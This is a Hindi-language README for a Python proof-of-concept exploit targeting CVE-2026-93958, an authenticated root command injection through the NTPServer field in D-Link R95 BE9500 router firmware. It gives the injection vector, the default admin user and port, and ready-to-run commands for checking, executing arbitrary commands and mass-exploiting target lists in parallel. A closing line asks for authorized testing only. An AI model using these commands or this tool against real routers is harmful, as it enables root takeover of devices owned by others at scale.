
CVE-2026-93958 के लिए Python PoC: D-Link R95 BE9500 DHMAPI SetTimeSettings NTPServer में प्रमाणित रूट कमांड इंजेक्शन, जिसमें check, exploit और bulk मोड शामिल हैं।
CVE-2026-93958 के लिए Python 3 PoC — D-Link R95 BE9500 फ़र्मवेयर BE9500_1.00.16 (बिल्ड 1.01B06)।
CVE-2026-93958 — /bin/ssi DHMAPI (HTTPS पर SOAP) में OS कमांड इंजेक्शन (CWE-77 / CWE-78)। SetTimeSettings हैंडलर NTPServer को बिना सैनिटाइज़ेशन के संग्रहीत करता है; UCI सिंक एक शेल के माध्यम से uci set …="%s" चलाता है, इसलिए NTPServer में बैकटिक्स root के रूप में निष्पादित होते हैं।
पूर्वापेक्षाएँ: वैध admin वेब सत्र (Login + API-AUTH HMAC)। डिफ़ॉल्ट उपयोगकर्ता Admin। प्रबंधन पोर्ट सामान्यतः 18443 ( 443 भी आज़माएँ)।
प्रभाव: पूर्ण डिवाइस समझौता (root RCE)। BE9500_1.00.16 (सितंबर 2026) के लिए कोई विक्रेता फ़िक्स दर्ज नहीं है।
सार्वजनिक शोध: FoundTL/D-Link-R95-BE9500
CVSS: 9.4 (v4.0) / 9.1 (v3.1, PR:H, स्कोप परिवर्तित)।
PoC पृष्ठ: https://pocbit.org/pocs/cve-2026-93958
कैटलॉग: https://pocbit.org/pocs/
| उत्पाद | D-Link R95 BE9500 |
| फ़र्मवेयर | BE9500_1.00.16 / 1.01B06 |
| वेक्टर | POST /DHMAPI/ → SetTimeSettings / NTPServer |
| प्रमाणीकरण | Admin + API-AUTH |
| एक्सप्लॉइट | `cmd` इंजेक्शन; आउटपुट /www/pocbit93958.txt के माध्यम से |
विशेषताएँ: रंगीन CLI, --mode check, --mode exploit, मास बल्क (--list + -j), JSONL + exploited.txt।
pip install -r requirements.txt
python poc.py -u 192.168.2.254:18443 --mode check
python poc.py -u 192.168.2.254:18443 -U Admin -P 'YourPass' --mode exploit
python poc.py -u 192.168.2.254:18443 -U Admin -P pass --mode exploit --command "uname -a"
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py --list targets.txt --mode exploit --password SharedAdminPass -j 12
लक्ष्य पंक्ति प्रारूप: host[:port] [username] [password] (टैब/स्पेस)।
CVE-2026-93958 PoC: D-Link R95 BE9500 DHMAPI NTPServer प्रमाणीकृत root RCE। DHMAPI लॉगिन, SetTimeSettings इंजेक्शन, मास एक्सप्लॉइट। PoCbit
केवल उन डिवाइसों पर अधिकृत परीक्षण करें जो आपके स्वामित्व में हैं या जिनका आप मूल्यांकन कर सकते हैं।